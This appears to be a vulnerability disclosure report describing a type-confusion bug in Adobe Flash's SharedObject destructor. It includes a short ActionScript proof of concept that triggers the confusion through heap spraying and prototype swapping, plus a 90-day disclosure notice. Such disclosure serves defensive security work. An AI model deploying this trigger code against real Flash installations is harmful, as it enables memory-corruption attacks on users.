The SharedObject destructor sets the data member of the object to be of type Normal, which allows it to pass the Normal checks in other methods, leading to type confusion. A PoC is below:

var s = SharedObject.getLocal("test");
var b = new flash.display.BitmapData(10, 10, true, 10);
ASSetPropFlags(s, null, 0, 0xff);
s.data = b;
s = 1;

for(var i = 0; i < 200; i++){
	
	var q = new flash.display.BitmapData(1000, 1000, true, 10);
	
	
	}
	
setInterval(f, 2000);
function f(){
	var n = new NetConnection();
	b.__proto__ = n;
	n.connect.call(b, "http://www.google.com");
	
	}

A sample fla and swf are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 

shareddestruction1.swf 866 bytes Download

shareddestruction1.fla 4.8 KB Download